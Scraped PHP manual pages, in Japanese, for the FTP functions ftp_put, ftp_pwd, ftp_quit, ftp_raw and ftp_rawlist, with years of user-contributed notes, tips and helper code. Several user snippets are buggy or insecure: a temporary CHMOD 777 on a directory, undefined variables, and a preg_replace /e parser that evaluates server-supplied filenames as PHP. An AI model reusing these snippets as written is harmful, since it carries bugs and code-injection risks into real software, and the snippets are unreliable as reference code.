if (!$upload) {  // check upload status
    echo "<span style='color:#FF0000'><h2>FTP upload of $filename has failed!</h2></span> <br />";
} else {
    echo "<span style='color:#339900'><h2>Uploading $name Completed Successfully!</h2></span><br /><br />";
}
ftp_close($conn_id); // close the FTP stream
?>
dherran at gmail dot com 17-Dec-2007 12:01
If you are moving files from one folder to another inside the same server, the "local file" field has to be indicated in a relative path according to the location of the script running the ftp_put() function.

For example, your function is running on: /public_html/do_ftp.php and you want to move /public_html/products.php to /public_html/backup/products.php

The correct way to build the function would be:

ftp_put($ftp_id, '/public_html/backup/products.php', 'products.php', FTP_ASCII);

After having headaches for 2 days trying to make this function work using absolute paths in both fields, I finally found the right way to use it. I hope it helps someone. Excuse my english, it isn't my native language.
Ari 16-Jul-2007 11:30
I'm copying fairly large backup files from server to server. ftp_put was running fine for awhile until it occasionally began reporting errors.
When I set TRUE as the value for the ftp_pasv () (after login), ftp_put started working again.
todd 11-May-2007 11:26
This is an extremely trivial thing but one that had me stumped forever (well, until I decided to check the error logs and see the error). I had a large file (mysql backup of a huge forum) that was only partially being uploaded to a remote backup server. Couldn't figure out why, until I realized that the max execution time was being hit since it was taking longer than 30 seconds to upload this file.

<?php
set_time_limit(0);
rest of the code here....
?>

That did the trick. It's one of those dumb, trivial things, and if you're having trouble like I, it may be something you overlooked.
koen dot depoorter at gmail dot com 11-Feb-2007 04:24
If you are having timeouts uploading a file, even very small files, you might have a look at ftp_pasv()

And don't forget to do it after your ftp_login();

koen
tom pittlik 20-Dec-2005 02:25
ftp_put() can display confusing warning messages as it returns one line of the remote server's response which may be multi lined.

If you're transferring large amounts of files note that some file systems only support up to 2000 files per directory. This had me stumped for a while.
ben at over dot bomb 25-Aug-2005 05:28
I spent some time debugging a silly problem:

In php >= 5, ftp_put() will apparently rewind to the start of the file regardless of the state you left it in before sending it to the $host.

I found this out because I wasn't closing the file handle before using ftp_put(). Since I had just written to the file, the file pointer must have been located at the *bottom*.

I was sending a 0-byte file on php 4.2.2., but worked fine on php 5.

So, just a heads up, don't forget to close those filehandles. Even though I was using the filename as the argument for ftp_put, it still needs to be closed.

I did not call rewind on the file handle, just fclose($file_h).
Icy_Tiger_2000 at yahoo dot com dot au 16-Jul-2005 01:35
I had a little trouble getting the ftp_put to work, because of that particular server.  All variables and data parsed from the previous web form had to be retreived using $_POST, $_GET or $_FILES.

If you don't know what you sent use phpinfo(); to display what the server thinks about your data.

so...when sending files using a form and PHP, make sure that all the data (text files etc...) are retreived with $_POST, and files (smiley.png, compression.zip, etc...) are retreived with $_FILES.

here's what your start of a results.php file might look like:
<?PHP
   $myName = $_POST['name']; //This will copy the text into a variable
   $myFile = $_FILES['file_name']; // This will make an array out of the file information that was stored.
?>

Now when it comes to transmitting that information...

<?PHP
        $destination_path = "src/bin/";

//where you want to throw the file on the webserver (relative to your login dir)

    $destination_file = $destination_path."img.jpg";

//This will create a full path with the file on the end for you to  use, I like splitting the variables like this in case I need to use on on their own or if I'm dynamically creating new folders.

        $file = $myFile['tmp_name'];

//Converts the array into a new string containing the path name on the server where your file is.

    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);// upload the file
    if (!$upload) {// check upload status
        echo "FTP upload of $destination_file has failed!";
    } else {
        echo "Uploaded $file to $conn_id as $destination_file";
    }
?>

hope this is usefull ^_^
webmaster at sweetphp dot com 08-Jul-2005 05:54
Here is a fix for the function from lucas at rufy dot com below that will recursively put files from a source directory to a destination directory.  As written below, it won't put a file in a directory that already exists, because the the destination is altered.  So here is the corrected function that will allow it to work:

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
   $d = dir($src_dir);
   while($file = $d->read()) { // do this for each file in the directory
       if ($file != "." && $file != "..") { // to prevent an infinite loop
           if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
               if (!@ftp_nlist($conn_id, $dst_dir."/".$file)) {
                   ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
               }
               ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
           } else {
               $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
           }
       }
   }
   $d->close();
}
jrisken at mn dot rr dot com 29-Jun-2005 06:32
This solution to a common problem is implied elsewhere, but I thought it might be useful to put it all in one place (since I spent hours piecing it together!)

Sometimes a web host will open PHP sessions with a user of 'nobody'. Files created by this user may not have the correct permissions to allow  management of those files by the actual owner of the site.  The following script allows the actual owner to open access to a directory so that 'nobody' can create a file using fopen(). Then using the handle created by 'nobody', the ftp_fput() command saves the file with the correct owner.  The file 'nobody' created is discarded.
<?
    $connection = ftp_connect($ftpServer);
    ftp_login($connection, $ftpUser, $ftpPass);
    ftp_chdir($connection, $ftpDir);
    // open the directory so that 'nobody' can create a temporary file
    ftp_site($cn, "CHMOD 777 $ftpDir");
    $new="tempFile";
    @unlink($new); // just in case
    $handle=fopen($new,"x");
    chmod($new,0777);
    fputs($handle,"a bunch of stuff...");
    fclose($handle); // have to rewind
    $handle=fopen("tempFile","r");
    ftp_fput($connection, "finalFile", $handle, FTP_ASCII);
    fclose($handle);
    unlink($new);
    // remove open access to the directory
    ftp_site($connection, "CHMOD 755 $ftpDir")
    ftp_close($connection);
?>
herok at atwatcher dot com 17-Jun-2004 10:59
victor at nobel dot com dot br wrote that
the correct dirpath format excluded "/home/USER/" from the public path, but for my server, i had to use it in order to get my scripts to work.

it may be obvious to most but I'm positing that you cannot use the $_SERVER['DOCUMENT_ROOT'] path since FTP starts at your top-level and therefore bypasses (or just plain doesn't recognize) most of the virtual server pathing.
Saeven 23-Sep-2003 09:43
if you examine the first user submitted function, ftp_putAll, it will work only if you extract this line and its matching bracket.

if (!@ftp_chdir($conn_id, $dst_dir."/".$file))

The function will have changed into that directory before having uploaded files to it.  This alters your upload path and the system will try to upload into an essentially non-existent directory (duped at the end).

Hope this helps some of you.
Cheers.
Saeven
lucas at rufy dot com 04-Aug-2003 01:45
The following is a fully tested function (based on a previous note) that recursively puts files from a source directory to a destination directory. See http://rufy.com/tech/archives/000026.html for more information.

NOTE: use full path name for the destination directory and the destination directory must already exist

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
    $d = dir($src_dir);
    while($file = $d->read()) { // do this for each file in the directory
        if ($file != "." && $file != "..") { // to prevent an infinite loop
            if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
                    ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
                }
                ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
            } else {
                $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
            }
        }
    }
    $d->close();
}
darian lassan at yahoo de 05-Feb-2003 04:06
ftp_put() overwrites existing files.
Again: trivial but not mentioned here.
oheil at ecc-gmbh dot de 25-Sep-2002 05:43
If you want to copy a whole directory tree (with subdiretories),
this function (ftp_copy) might be usefull. Tested with
php 4.2.2 and a Linux OS.

Example:
----------------------------------------------------------------
$conn_id = ftp_connect("server_adress");
...

$src_dir = "/from";
$dst_dir = "/to";

ftp_copy($src_dir, $dst_dir);
...
ftp_close($conn_id)

Function: ftp_copy()
----------------------------------------------------------------
function ftp_copy($src_dir, $dst_dir) {

global $conn_id;

$d = dir($src_dir);

    while($file = $d->read()) {

        if ($file != "." && $file != "..") {

            if (is_dir($src_dir."/".$file)) {

                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {

                ftp_mkdir($conn_id, $dst_dir."/".$file);
                }

            ftp_copy($src_dir."/".$file, $dst_dir."/".$file);
            }
            else {

            $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY);
            }
        }
    }

$d->close();
}
kiwo1 at yahoo dot com 28-Aug-2002 10:05
Friends,
If you wanna upload files from your harddisk by a form to a specified ftp this sample can help you...
First of all create the form:
<html>

<body marginwidth=4 marginheight=4 topmargin=4 leftmargin=4 bgcolor=white vlink="#0000ff" link="#0000ff">

<form name="Attachments"  method=POST action="sendimage.php" enctype="multipart/form-data">

<input type=hidden name=box value="">

<tr>
<td nowrap width="1%">&nbsp;&nbsp;<b>Image:</b></td>
<td colspan=2>
<input type=file name=source_file size=20> <br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

</td>
</tr>
<input type=submit name=btnSubmit value=Submit size=20 style="border: 1px solid #0000FF"></form>
</body>
</html>

The critical point in this form is the usage of  enctype="multipart/form-data"
If you don't use this part your upload operations won't work.
Then u must create sendimage.php as follows:

<?php

    $ftp_server='190.148.20.201';//serverip
    $conn_id = ftp_connect($ftp_server);

    // login with username and password
    $user="username";
    $passwd="*****";
    $login_result = ftp_login($conn_id, $user, $passwd);

// check connection
   if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        die;
    } else {
        echo "<br>Connected to $ftp_server, for user $user<br>";
    }
//directorylike /www.velibaba.com/images
  ftp_chdir($conn_id, "www.velibab.com");
  ftp_chdir($conn_id, "compimages");

//$destination_file=ftp_pwd($conn_id);

$destination_file="x.jpg";
echo ("<br>");
print $destination_file;

echo ("<br>");

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
        echo "FTP upload has failed!";
    } else {
        echo "Uploaded $source_file to $ftp_server as $destination_file";
    }

// close the FTP stream
ftp_close($conn_id);
?>

In this example code $source_file is the path of the file in your disk, and destination file is the name of the uploaded file in ftpserver.
In this code I use ftp_chdir to give the path of the
 uploaded file within ftpserver..
For your questions about all categories of PHP my email:kiwo1@yahoo.com
c u...
clambert at whitecrown dot net 29-Jun-2001 07:24
When using versions of PHP below 4.04b4, the ftp_put command doesn't work on NT/IIS4. Most of the other functions will work, but there was a bug while trying to send upstream data to an IIS webserver.


カレントのディレクトリ名を返す

  • ≪ ftp_put
  • ftp_quit ≫
  • PHP Manual
  • FTP 関数
  • カレントのディレクトリ名を返す

ftp_pwd

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_pwd — カレントのディレクトリ名を返す

説明

ftp_pwd ( resource $ftp ) : string|false

パラメータ

ftp

FTP 接続のリンク ID 。

返り値

カレントのディレクトリ名、またはエラー時には false を返します。

例

例1 ftp_pwd() の例

<?php

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// public_html ディレクトリに移動する
ftp_chdir($conn_id, 'public_html');

// カレントのディレクトリ名を表示する
echo ftp_pwd($conn_id); // /public_html

// 接続を閉じる
ftp_close($conn_id);
?>

参考

  • ftp_chdir() - FTP サーバー上でディレクトリを移動する
  • ftp_cdup() - 親ディレクトリに移動する

User Contributed Notes

mike dot hall at opencube dot co dot uk 31-May-2001 09:15
This function doesn't always go to the remote server for the PWD. Once called the PWD is cached, and until PHP has a reason to believe the directory has changed any call to ftp_pwd() will return from the cache, even if the remote server has gone away.


ftp_close のエイリアス

  • ≪ ftp_pwd
  • ftp_raw ≫
  • PHP Manual
  • FTP 関数
  • ftp_close のエイリアス

ftp_quit

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_quit — ftp_close() のエイリアス

説明

この関数は次の関数のエイリアスです。 ftp_close().

User Contributed Notes

There are no user contributed notes for this page.


FTP サーバーに任意のコマンドを送信する

  • ≪ ftp_quit
  • ftp_rawlist ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバーに任意のコマンドを送信する

ftp_raw

(PHP 5, PHP 7, PHP 8)

ftp_raw — FTP サーバーに任意のコマンドを送信する

説明

ftp_raw ( resource $ftp , string $command ) : array

任意の command を FTP サーバーに送信します。

パラメータ

ftp

FTP 接続のリンク ID 。

command

実行したいコマンド。

返り値

サーバーからの応答を文字列の配列で返します。 結果の文字列に対して、何の処理も行いません。また、 ftp_raw() はそのコマンドが成功したのかどうかを 判断できません。

例

例1 ftp_raw() を用いて FTP サーバーに手動でログインする

<?php
$fp = ftp_connect("ftp.example.com");

/* ftp_login($fp, "joeblow", "secret");
   を実行するのと同じ意味 */
ftp_raw($fp, "USER joeblow");
ftp_raw($fp, "PASS secret");
?>

参考

  • ftp_exec() - FTP サーバー上でのコマンドの実行をリクエストする

User Contributed Notes

WebSee.ru 10-Aug-2009 11:38
How to realize the possibility of transferring data from one FTP-server to another via FXP?

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
www.bossftp.com 05-Nov-2008 06:32
Note that the $command can not contains any illegal character such as \n, \r, \t, or this function will return NULL.

Try using the trim() before calling ftp_raw().

<?php
ftp_raw($connid, trim($command));
?>
nightwalker85 at gmail dot com 19-Apr-2005 04:32
<?
ftp_raw($ftpconn,"CLNT <client>");
?>

Is a good way to let the ftp-server know which client it's dealing with. Guess this can be useful if you're making a homemade ftp-client. Only do this if the ftp-server has responded to FEAT command with a response including CLNT.


指定したディレクトリの詳細なファイル一覧を返す

  • ≪ ftp_raw
  • ftp_rename ≫
  • PHP Manual
  • FTP 関数
  • 指定したディレクトリの詳細なファイル一覧を返す

ftp_rawlist

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rawlist — 指定したディレクトリの詳細なファイル一覧を返す

説明

ftp_rawlist ( resource $ftp , string $directory , bool $recursive = false ) : array|false

ftp_rawlist() は、FTP LIST コマンドを実行し、結果を配列として返します。

パラメータ

ftp

FTP 接続のリンク ID 。

directory

ディレクトリのパス。 LIST コマンドの引数を含むこともあります。

recursive

true を設定した場合、発行されるコマンドは LIST -R となります。

返り値

各要素が 1 行分のテキストに対応する配列を返します。 渡された directory が無効な場合は false を返します。

出力に関する処理は全く行われません。結果の解釈の仕方を定義するために ftp_systype() から返されるシステム型 ID を使用することができます。

例

例1 ftp_rawlist() の例

<?php

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// / のファイル一覧を得る
$buff = ftp_rawlist($conn_id, '/');

// 接続を閉じる
ftp_close($conn_id);

// バッファの内容を出力する
var_dump($buff);
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  string(65) "drwxr-x---   3 vincent  vincent      4096 Jul 12 12:16 public_ftp"
  [1]=>
  string(66) "drwxr-x---  15 vincent  vincent      4096 Nov  3 21:31 public_html"
  [2]=>
  string(73) "lrwxrwxrwx   1 vincent  vincent        11 Jul 12 12:16 www -> public_html"
}

参考

  • ftp_nlist() - 指定したディレクトリのファイルの一覧を返す
  • ftp_mlsd() - ディレクトリに存在するファイルの一覧を返す

User Contributed Notes

elamrani dot sv dot laza at gmail dot com 04-Apr-2020 05:30
This function will give you directly the ftp file information whether if it a file or directory or a link.

/**
     * Retrieve file information from rawlist result function.
     *
     * @param $ftpStream
     * @param $fileName
     *
     * @return array
     */
    public static function extractRawList($ftpStream, $fileName)
    {
        $info = [];

        # Check if the file is directory.
        $isDir = ftp_size($ftpStream, $fileName) === -1 ? true : false;

        # Throwing exception if rawlist fail to getting the file data.
        # If the file is a directory we back to the previous folder and lopping over it to get the dir info.
        if (empty($list = ftp_rawlist($ftpStream, $isDir ? $fileName . '/..' : $fileName)))
            throw new \RuntimeException("Unreachable server content.");

        # Extract date from rawlist result array.
        foreach ($list as $item) {
            # Clean the spaces.
            $clean = preg_replace('/\s+/', ' ', $item);

            # rawlist string to an array.
            $split_string = explode(" ", $clean);
            # file name.
            $name = $split_string[count($split_string) - 1];

            # Compare the file name from rawlist with the file name that we want information from.
            if ($name === ($isDir ? pathinfo($fileName, PATHINFO_BASENAME) : $fileName))
            {
                $info['chmod'] = $split_string[0];
                $info['num'] = $split_string[1];
                $info['owner'] = $split_string[2];
                $info['group'] = $split_string[3];
                $info['size'] = $split_string[4];
                $info['Mtime'] = sprintf("%s %s %s", $split_string[5], $split_string[6], $split_string[7]);
                $info['name'] = $split_string[8];
            }
        }

        return $info;
    }
Roline88 at hotmail dot com 19-Apr-2018 05:26
Note that this function also will return false if the content of the provided directory is empty.
admin at proxy-list dot org 29-Apr-2014 05:34
Please pay attention that ftp_rawlist() function returns empty result if there is a folder with space. You must backslash it with addcslashes() function.

IMPORTANT: at the same time any other function like ftp_delete() or ftp_rmdir() in opposite, will not be able to delete file/folder if folder name with space will be backslashes http://proxy-list.org/
nickman at freemail dot hu 24-Apr-2014 07:17
The solution of fredvanetten at tinqle dot com is nice but needs further evaluation as because of the preg_split and static listing of the variables will produce different values: comparing a file of today or an older, from a previous year:

Array
(
    [time] => 2012
    [day] => 11
    [month] => Sep
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)

Array
(
    [time] => 14:01
    [day] => 23
    [month] => Apr
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)
mediaboat at gmail dot com 14-Mar-2014 10:55
All  parse_rawlist Functions here have one Problem.

when a file starts with a space character like " robots.txt ", it will be ignored.

Rename, delete will fail...
fredvanetten at tinqle dot com 10-Dec-2012 07:12
Here's a simple function that'll parse the data returned by ftp_rawlist() into an associative array. I wrote it because some of the functions listed below are way to long, complex or won't work with file names that contain spaces.

<?php
    function listDetailed($resource, $directory = '.') {
        if (is_array($children = @ftp_rawlist($resource, $directory))) {
            $items = array();

            foreach ($children as $child) {
                $chunks = preg_split("/\s+/", $child);
                list($item['rights'], $item['number'], $item['user'], $item['group'], $item['size'], $item['month'], $item['day'], $item['time']) = $chunks;
                $item['type'] = $chunks[0]{0} === 'd' ? 'directory' : 'file';
                array_splice($chunks, 0, 8);
                $items[implode(" ", $chunks)] = $item;
            }

            return $items;
        }

        // Throw exception or return false < up to you
    }
?>
Johnny Doe 24-Nov-2010 06:18
In case anybody wants to get a detailed listing using the MLSD command over a passive connection, the following function might be helpful as a starting point for your own implementation:

<?php
function ftp_mlsd($ftp, $directory) {
    $ok = @ftp_chdir($ftp, $directory);
    if (!$ok) {
        return false;
    }
    $ret = ftp_raw($ftp, 'PASV');
    if (preg_match(
        '/^227.*\(([0-9]+,[0-9]+,[0-9]+,[0-9]+),([0-9]+),([0-9]+)\)$/',
        $ret[0], $matches)) {
        $controlIP = str_replace(',', '.', $matches[1]);
        $controlPort = intval($matches[2])*256+intval($matches[3]);
        $socket = fsockopen($controlIP, $controlPort);
        ftp_raw($ftp, 'MLSD');
        $s = '';
        while (!feof($socket)) {
            $s .= fread($socket, 4096);
        }
        fclose($socket);
        $files = array();
        foreach (explode("\n", $s) as $line) {
            if (!$line) {
                continue;
            }
            $file = array();
            foreach (explode(';', $line) as $property) {
                list($key, $value) = explode('=', $property);
                if ($value) {
                    $file[$key] = $value;
                } else {
                    $filename = trim($key);
                }
            }
            $files[$filename] = $file;
        }
        return $files;
    }
    return false;
}
?>

Please note that this function ignores the setting of ftp_pasv(). Making the function to work universally for both active and passive connections is left as an exercise to the reader ;-)
shaun at shaunfreeman dot co dot uk 13-May-2010 04:02
Get a listing of all files including hidden files except '.' or '..' use:

<?php
ftp_chdir($connid, $dir);
ftp_rawlist($connid, "-A");
?>

This had me dancing in circles for some time!
John 02-May-2010 04:46
There are a couple of php-related reasons given here for ftp_rawlist returning an empty result. However be aware that ZoneAlarm (and possibly other) firewalls can block responses without giving any visible clue so be sure to check that first.
nospam at advancedonsite dot com 03-Nov-2009 08:02
ftp_rawlist kept returning empty file listing, it would work on some machines but not others, it turned out to be ftp_pasv command was needed.
Very frustrating
ahmadmarafa at gmail dot com 23-Jun-2009 07:38
this is function to check for dirs

<?php
function ftp_isdir($connect_id,$dir)
{
    if(ftp_chdir($connect_id,$dir))
    {
        ftp_cdup($connect_id);
        return true;

    }
    else
    {
        return false;
    }
}
?>
tmp at gmx dot de 26-May-2009 04:20
To format the _recrusive_ result of this function I use this:

<?php
$conn_id = ftp_connect(FTP_SERVER);

$login_result = ftp_login($conn_id, FTP_USR, FTP_PASS);

$rawfiles = ftp_rawlist($conn_id, '/', true);

ftp_close($conn_id);

// here the magic begins!
$structure = array();
$arraypointer = &$structure;
foreach ($rawfiles as $rawfile) {
    if ($rawfile[0] == '/') {
        $paths = array_slice(explode('/', str_replace(':', '', $rawfile)), 1);
        $arraypointer = &$structure;
        foreach ($paths as $path) {
            foreach ($arraypointer as $i => $file) {
                if ($file['text'] == $path) {
                    $arraypointer = &$arraypointer[ $i ]['children'];
                    break;
                }
            }
        }
    } elseif(!empty($rawfile)) {
        $info = preg_split("/[\s]+/", $rawfile, 9);
        $arraypointer[] = array(
            'text'   => $info[8],
            'isDir'  => $info[0]{0} == 'd',
            'size'   => byteconvert($info[4]),
            'chmod'  => chmodnum($info[0]),
            'date'   => strtotime($info[6] . ' ' . $info[5] . ' ' . $info[7]),
            'raw'    => $info
            // the 'children' attribut is automatically added if the folder contains at least one file
        );
    }
}

// in $structure is all the data
print_r($structure);

// little helper functions
function byteconvert($bytes) {
    $symbol = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $exp = floor( log($bytes) / log(1024) );
    return sprintf( '%.2f ' . $symbol[ $exp ], ($bytes / pow(1024, floor($exp))) );
}

function chmodnum($chmod) {
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $chmod = substr(strtr($chmod, $trans), 1);
    $array = str_split($chmod, 3);
    return array_sum(str_split($array[0])) . array_sum(str_split($array[1])) . array_sum(str_split($array[2]));
}

?>
francois frao_o 12-Mar-2009 10:47
Why not using POSIX regex to do the job here ? A preg_replace returns the information in an associative array with the following keys:

<rights>
<number>
<owner>
<group>
<file_size>
<mod_time>
<file>
<type> * that's a bonus: it will tell you if the item is either a file or a directory

Code is shown below:

$list=@ftp_rawlist($con,$directory) ;

$items=array() ;

foreach($list as $_)
preg_replace(

'`^(.{10}+)(\s*)(\d{1})(\s*)(\d*|\w*)'.
'(\s*)(\d*|\w*)(\s*)(\d*)\s'.
'([a-zA-Z]{3}+)(\s*)([0-9]{1,2}+)'.
'(\s*)([0-9]{2}+):([0-9]{2}+)(\s*)(.*)$`Ue',

'$items[]=array(
"rights"=>"$1",
"number"=>"$3",
"owner"=>"$5", "group"=>"$7",
"file_size"=>"$9",
"mod_time"=>"$10 $12 $14:$15",
"file"=>"$17",
"type"=>print_r((preg_match("/^d/","$1"))?"dir":"file",1));',

$_) ; # :p
www.bosssftp.com 07-Nov-2008 02:43
Some FTP servers only allow you to get list of files under current working directory. So if you always get result as empty array (array(0){ }), try changing the cwd befor get the list:

<?php
function ftprawlist($connid, $dir) {
  ftp_chdir($connid, $dir);
  return ftp_rawlist($connid, "-a");
}
?>
phpnet uschlaepfer ch 03-Nov-2008 08:56
On my PC (XP and Apache installed) - ftp_rawlist (with Parameter true) does only print a folder list - no subfolders, no files.
So i created this recursive function that writes all filenames (incl. paths) to a array. I tested it on Mac, Linux and Windows - it works (as long as you don't use folders with spaces...).
If you need more information: feel free to set more split[x]-Options and write them to the $files-array.

<?php
# the directory where ftp_rawlist starts
$startdir = "example";

# optional Datatypefilter (leave blank if not needed)
$suffix   = "gif,png,jpeg,pdf,php";
# ftp-login
$ftp_server = "";
$ftp_user   = "";
$ftp_pw     = "";
$ftp_mode   = "";
$conn_id    = ftp_connect($ftp_server);
ftp_login($conn_id, $ftp_user, $ftp_pw) OR die("<br>ftp-login failed");
ftp_pasv($conn_id, true);

#*********************************************************************
# create filelist (recursiv)
#*********************************************************************
$files    = array(); # must be defined here
$files    = raw_list("$startdir");

#*********************************************************************
# print result
#*********************************************************************
$i = 0; $count = count($files);
while ($i < $count):
  echo "$files[$i]<br>";
  $i++;
endwhile;
ftp_close($conn_id);

#*********************************************************************
# rawlist in recursive form (without parameter true!!!)
#*********************************************************************
function raw_list($folder)
{
Global $conn_id;
Global $suffix;
Global $files;
$suffixes = explode(",", $suffix);
$list     = ftp_rawlist($conn_id, $folder);
$anzlist  = count($list);
$i = 0;
while ($i < $anzlist):
  $split    = preg_split("/[\s]+/", $list[$i], 9, PREG_SPLIT_NO_EMPTY);
  $ItemName = $split[8];
  $endung   = strtolower(substr(strrchr($ItemName,"."),1));
  $path     = "$folder/$ItemName";
  if (substr($list[$i],0,1) === "d" AND substr($ItemName,0,1) != "."):
#      array_push($files, $path); # write directory in array if desired
     raw_list($path);
  elseif (substr($ItemName,0,2) != "._" AND in_array($endung,$suffixes)):
     array_push($files, $path);
  endif;
  $i++;
endwhile;
return $files;
}
?>

Ueli, Zurich
paul maybe at squirrel mail org 24-Apr-2008 05:13
Regarding converting permissions from symbolic notation to octal, note that Hazem dot Khaled at gmail dot com's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
weltvolk 04-Jan-2008 06:17
With this handy function based on functions presented here you get the file list in alphabetical order with all directories on top:

<?php
function rawlist_dump() {
  global $ftp_connect;
  $ftp_rawlist = ftp_rawlist($ftp_connect, ".");
  foreach ($ftp_rawlist as $v) {
    $info = array();
    $vinfo = preg_split("/[\s]+/", $v, 9);
    if ($vinfo[0] !== "total") {
      $info['chmod'] = $vinfo[0];
      $info['num'] = $vinfo[1];
      $info['owner'] = $vinfo[2];
      $info['group'] = $vinfo[3];
      $info['size'] = $vinfo[4];
      $info['month'] = $vinfo[5];
      $info['day'] = $vinfo[6];
      $info['time'] = $vinfo[7];
      $info['name'] = $vinfo[8];
      $rawlist[$info['name']] = $info;
    }
  }
  $dir = array();
  $file = array();
  foreach ($rawlist as $k => $v) {
    if ($v['chmod']{0} == "d") {
      $dir[$k] = $v;
    } elseif ($v['chmod']{0} == "-") {
      $file[$k] = $v;
    }
  }
  foreach ($dir as $dirname => $dirinfo) {
      echo "[ $dirname ] " . $dirinfo['chmod'] . " | " . $dirinfo['owner'] . " | " . $dirinfo['group'] . " | " . $dirinfo['month'] . " " . $dirinfo['day'] . " " . $dirinfo['time'] . "<br>";
  }
  foreach ($file as $filename => $fileinfo) {
      echo "$filename " . $fileinfo['chmod'] . " | " . $fileinfo['owner'] . " | " . $fileinfo['group'] . " | " . $fileinfo['size'] . " Byte | " . $fileinfo['month'] . " " . $fileinfo['day'] . " " . $fileinfo['time'] . "<br>";
  }
}
rawlist_dump();
?>
ari at bs-inc dot com 17-Oct-2006 01:24
This is a little cleaner:

function parse_rawlist( $array )
{
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']  = $current[0];
        $struc['number'] = $current[1];
        $struc['owner']  = $current[2];
        $struc['group']  = $current[3];
        $struc['size']  = $current[4];
        $struc['month']  = $current[5];
        $struc['day']    = $current[6];
        $struc['time']  = $current[7];
        $struc['year']  = $current[8];
        $struc['raw']  = $curraw;
        $structure[$struc['name']] = $struc;
    }
   return $structure;

}
kerbpm 15-Sep-2006 02:31
Your code is ok, just replace $i = 0 instead of 1
Thank you

<?php

function parse_rawlist( $array ) {

   for ( $i = 1; $i < count($array); $i++ ) {

       $current = $array[$i];

       $structure[$i]['perms']  = substr($current, 0, 10);
       $structure[$i]['number'] = trim(substr($current, 11, 3));
       $structure[$i]['owner']  = trim(substr($current, 15, 8));
       $structure[$i]['group']  = trim(substr($current, 24, 8));
       $structure[$i]['size']  = trim(substr($current, 33, 8));
       $structure[$i]['month']  = trim(substr($current, 42, 3));
       $structure[$i]['day']    = trim(substr($current, 46, 2));
       $structure[$i]['time']  = substr($current, 49, 5);
       $structure[$i]['name']  = substr($current, 55, strlen($current) - 55);

   }

   return $structure;

}

?>
MSpreij at GMail 09-Sep-2006 05:11
The following was inspired by a few others here, ofcourse ;-)
Works for filenames with spaces (leading, trailing, consecutive and what not), formats the date a little taking year/time into account, leaves out items not in the $filetypes array below, and returns a nice nested assoc array:

<?php

$filetypes = array('-'=>'file', 'd'=>'directory', 'l'=>'link');

$c = ftp_connect('localhost');
ftp_login($c, 'jackcrow', 'banshee');
$data = ftp_rawlist($c, '/users/jackcrow');

foreach($data as $line) {
    if (substr(strtolower($line), 0, 5) == 'total') continue; # first line, skip it
    preg_match('/'. str_repeat('([^\s]+)\s+', 7) .'([^\s]+) (.*)/', $line, $matches); # Here be Dragons
    list($permissions, $children, $owner, $group, $size, $month, $day, $time, $name) = array_slice($matches, 1);
    # if it's not a file, directory or link, I don't really care to know about it :-) comment out the next line if you do
